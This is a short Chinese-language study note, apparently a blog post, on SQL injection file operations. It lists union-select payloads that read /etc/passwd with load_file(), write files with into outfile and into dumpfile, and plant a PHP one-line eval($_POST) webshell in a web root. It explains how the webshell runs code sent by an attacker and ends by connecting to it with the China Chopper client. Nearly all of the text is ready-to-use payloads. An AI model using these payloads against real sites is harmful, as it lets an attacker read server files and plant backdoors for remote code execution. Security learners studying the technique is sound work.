sql注入笔记2

load_file()函数 读文件操作
前提:
知道文件绝对路径
能够使用union查询
对web目录有写权限
union select 1,load_file(’/etc/passwd’),3,4,5,6#
union select 1,load_file(如果引号被过滤可以用16进制),3,4,5,6#

into outfile()写文件操作
前提:
文件名必须全路径(绝对路径)
用户必须有写文件的权限
没有对’引号过滤
select ‘<?php phpinfo?>’ into outfile ‘绝对路径’
select ‘12345’ into outfile ‘d:/2.txt’

into dumpfile()写文件操作 支持二进制读写
select ‘12345’ into dumpfile ‘d:/3.txt’

select ‘<?php eval($_POST[1]);?>’ into outfile ‘d:/phpstudy/www/1.php’
在目录d:/phpstudy/www/下新建一个1.php文件内容是<?php eval($_POST[1]);?>

写入一句话木马
_post接收post传来的1的参数
eval()函数 把当前字符串内容当成php代码来执行
通过POST方式在网页中把自己写的代码赋值给1,然后$_POST函数接收1的值,再通过eval函数就执行自己传送的代码了

union select 1,2,3,4,’<?php eval($_POST[name])?>’,6,7 into outfile ‘D:\phpstudy\www\1.php’

union select 1,2,3,4,load_file(‘D:\phpstudy\www\1.php’),6,7

通过中国菜刀连接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值